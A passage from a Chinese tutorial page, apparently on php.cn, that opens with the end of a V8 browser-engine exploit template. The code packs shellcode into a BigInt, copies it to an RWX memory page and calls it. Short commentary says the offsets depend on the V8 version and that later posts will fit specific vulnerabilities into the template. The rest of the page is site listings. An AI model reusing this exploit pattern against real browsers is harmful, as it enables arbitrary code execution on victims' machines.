0x050f5e5457525f54n];copy_shellcode_to_rwx(shellcode, rwx_page_addr);f();</code>

其中打问号的地方,需要根据具体情况来编写,然后就是有些偏移需要根据v8版本情况进行修改,但是主体结构基本雷同。

之后的文章中,打算把我最近研究复现的几个漏洞,套进这个模板中,来进行讲解。

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
c++怎么把double转成int
c++怎么把double转成int

本专题整合了 c++ double相关教程,阅读专题下面的文章了解更多详细内容。

294

2025.08.29

C++中int、float和double的区别
C++中int、float和double的区别

本专题整合了c++中int和double的区别,阅读专题下面的文章了解更多详细内容。

105

2025.10.23

堆和栈的区别
堆和栈的区别

堆和栈的区别:1、内存分配方式不同;2、大小不同;3、数据访问方式不同;4、数据的生命周期。本专题为大家提供堆和栈的区别的相关的文章、下载、课程内容,供大家免费下载体验。

434

2023.07.18

堆和栈区别
堆和栈区别

堆(Heap)和栈(Stack)是计算机中两种常见的内存分配机制。它们在内存管理的方式、分配方式以及使用场景上有很大的区别。本文将详细介绍堆和栈的特点、区别以及各自的使用场景。php中文网给大家带来了相关的教程以及文章欢迎大家前来学习阅读。

600

2023.08.10

length函数用法
length函数用法

length函数用于返回指定字符串的字符数或字节数。可以用于计算字符串的长度,以便在查询和处理字符串数据时进行操作和判断。 需要注意的是length函数计算的是字符串的字符数,而不是字节数。对于多字节字符集,一个字符可能由多个字节组成。因此,length函数在计算字符串长度时会将多字节字符作为一个字符来计算。更多关于length函数的用法,大家可以阅读本专题下面的文章。

953

2023.09.19

golang map内存释放
golang map内存释放

本专题整合了golang map内存相关教程,阅读专题下面的文章了解更多相关内容。

77

2025.09.05

golang map相关教程
golang map相关教程

本专题整合了golang map相关教程,阅读专题下面的文章了解更多详细内容。

39

2025.11.16

golang map原理
golang map原理

本专题整合了golang map相关内容,阅读专题下面的文章了解更多详细内容。

67

2025.11.17

Rust内存安全机制与所有权模型深度实践
Rust内存安全机制与所有权模型深度实践

本专题围绕 Rust 语言核心特性展开,深入讲解所有权机制、借用规则、生命周期管理以及智能指针等关键概念。通过系统级开发案例,分析内存安全保障原理与零成本抽象优势,并结合并发场景讲解 Send 与 Sync 特性实现机制。帮助开发者真正理解 Rust 的设计哲学,掌握在高性能与安全性并重场景中的工程实践能力。

4

2026.03.05

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
最新Python教程 从入门到精通
最新Python教程 从入门到精通

共4课时 | 22.5万人学习

Rust 教程
Rust 教程

共28课时 | 6.6万人学习

Kotlin 教程
Kotlin 教程

共23课时 | 4.1万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号